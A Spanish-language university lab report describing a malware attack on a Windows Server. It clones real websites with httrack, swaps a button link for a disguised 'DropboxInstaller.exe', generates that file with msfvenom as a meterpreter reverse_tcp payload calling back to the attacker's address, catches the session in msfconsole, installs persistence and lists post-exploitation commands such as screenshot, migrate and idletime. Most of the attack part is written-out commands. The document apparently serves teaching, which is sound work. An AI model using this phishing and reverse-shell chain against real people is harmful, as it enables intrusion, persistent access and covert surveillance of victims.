LABORATORIO MALWARE EXPLOIT ON WINDOWS SERVER
PRESENTADO POR:
SANDRA MARCELA DIAZ DORIA
DOCENTE
ALBERTO PATERNINA
16 DE JUNIO
CORPORACIÓN UNIVERSITARIA RÉMINGTON
DIPLOMADO SEGURIDAD INFORMATICA
2022
Conceptos
Payload de tipo reverse: El reverse es un tipo de Shell en el que el equipo
objetivo se comunica de vuelta con la máquina atacante. La máquina atacante
tiene un puerto de escucha en el que se recibe la conexión de la víctima, ya sea
por la ejecución por si mima del exploit o a través de una vulnerabilidad que posea
al tener una aplicación desactualizada.
MSFvenom: es una combinación de Msfpayload y Msfencode, que coloca ambas
herramientas en una sola instancia de Framework. msfvenom reemplazó tanto a
msfpayload como a msfencode a partir del 8 de junio de 2015.
msfconsole : es probablemente la interfaz más popular para Metasploit
Framework (MSF). Proporciona una consola centralizada “todo en uno” y le
permite un acceso eficiente a prácticamente todas las opciones disponibles en
MSF. MSFconsole puede parecer intimidante al principio, pero una vez que
aprenda la sintaxis de los comandos, aprenderá a apreciar el poder de utilizar esta
interfaz.
wine : es una reimplementación de la interfaz de programación de aplicaciones
de Win16 y Win32 para sistemas operativos basados en Unix. Permite la ejecución
de programas diseñados para MS-DOS, y las versiones de Microsoft Windows
3.11, 95, 98, Me, NT, 2000, XP, Vista, 7, 8 y 10.
Resource Hacker: es una aplicación freeware de extracción de recursos
desarrollada por Angus Johnson para Windows. Se usa para modificar elementos
de programas o del sistema operativo, como iconos, extrayendo recursos de
programas ejecutables, bibliotecas de enlace dinámico, y ficheros. Enlace de
descarga: http://www.angusj.com/resourcehacker/
PSTools Suite: es un conjunto de herramientas que se pueden usar para la
administración remota de un PC, desde la consola de comandos de Windows.
Lo primero que vamos a hacer es utilizar un comando que nos permite activar la
arquitectura de 32 bits para poder instalar WINE, ya que WINE solamente emula
aplicaciones en 32 bits
Sudo dpkg —add-architecture i386
Actualizamos el gestor de paquetes
Sudo apt-get update
Una vez se actualiza los paquetes procedemos a instalar wine 32
Sudo apt-get install wine32
Ejecutamos y se procede con la instalación de wine
Habilitamos el servicio de postgresql y de apache2 dependiendo, de la aplicación
que se vaya a descargar o re direccionar a nuestro servidor, o solamente para
mostrar la página
Inicializamos los servicios y comprobamos el estado con los siguientes dos
comandos
Sudo systemctl start apache2. Service
Sudo systemctl status apache2. Service
De igual forma inicializamos los servicios en postgresql y verificamos que estén
activos
Sudo systemctl start postgresql. Service
Sudo systemctl status postgresql. Service
Ahora utilizamos httrack cual posibilita clonar la aplicación
Sudo apt-get install httrack
Ahora vamos a preparar el entorno donde se va a mostrar la página que se quiere
clonar, para esto utilizamos la instrucción de súper usuario seguido del comando
httrack, después colocamos la dirección de la página y por último la ruta en la cual
la vamos a copiar.
Utilizamos el comando ifconfig para conocer la dirección ip. Vemos que la
dirección que tenemos es la 192.168.1.7
Ahora colocamos la dirección en el navegador. Podemos ver cómo nos aparece la
página de mega que fue la ruta que utilizamos, lo que indica que lo hemos clonado
con éxito.
Hacemos el ejercicio con otra página web
https://alessoshop.com/ventas/en
Una vez hacemos el clonado de la página procedemos a buscar el archivo para
realizar la configuración del enlace del botón, en este caso yo escogí la opción de
instagram que me re direcciona a otra página. Para esto arrastraremos el archivo
desde kali a nuestro escritorio y lo abriremos con el IDE visual studio Code, una
vez abierto buscamos la ruta y cambiamos el nombre (DropboxInstaller.exe) y
guardamos el archivo.
Para seguir simplemente tomamos el archivo de nuestro escritorio al escritorio de
kali y de ahí utilizando el comando cp, lo copiamos a nuestra carpeta var
Sudo cp /home/kali/Desktop/en.html /var/www/html/alessoshop.com/ventas
Ahora lo que hacemos es movernos del directorio donde estamos con el comando
cd y posterior ejecutamos el comando
Sudo msfvenom –p Windows/meterpreter/reverse_tcp LHOST=192.168.1.7
LPORT=4444 –platform Windows –f exe > DropboxInstaller.exe
Inicializamos los servicios
Ahora procedemos a entrar a Windows server y desde ahí escribimos la dirección
y nos cargara enseguida la página, desde aquí descargaremos el archivo
Al descargar ejecutamos
Nos vamos a kali y abrimos una nueva terminal donde ejecutamos el comando
sudo msfconsole
Comandos
Use multi/handler
Set PAYLOAD Windows/meterpreter/reverese_tcp
Set lhost 192.168.1.7
Options
Run
help
Creamos la persistencia con el comando:
run persistence –x –u –i 30 -p 4444 –r 192.168.1.7
Ejecutamos algunos comandos
System commands/ ps: lista los procesos en ejecución
System commands/getpid: obtiene el identificador del proceso actual
Commands/ migrate: Nos permite migrar el servidor a otro proceso, en este
comando solo colocamos el comando migrate más el pid del proceso hacia dónde
vamos a migrar
User interfaces commands/ screenshot: Toma una captura de pantalla del
escritorio interactivo
Aquí nos dice que guardo el screen en la ruta /home/kali/LKOIGctR.jpeg
Networking commands/ netstat: muestra las conexiones de red
Fyle systems comands/dir: Nos permite listar archivos
System commands/ sysinfo: Obtiene información sobre el sistema remoto
System commands/ getuid: se obtiene el usuario con el que se ejecuta el
servidor
Networking commands/ arp: Muestra la memoria cache ARP del host
Commands /Machine_id: con este comando podremos ver la identificación de la
maquina vulnerada
User interfaces commands/enumdesktops: enumera todos los escritorios y
estaciones de ventana accesibles
System commands/localtime: Muestra la fecha y la hora local del sistema de
destino
User interfaces commands/ idletime: Devuelve la cantidad de segundos que el
usuario remoto ha estado inactivo
Fyle systems comands/Pwd: Imprime el directorio de trabajo, aquí nos muestra
la ruta donde se encuentra
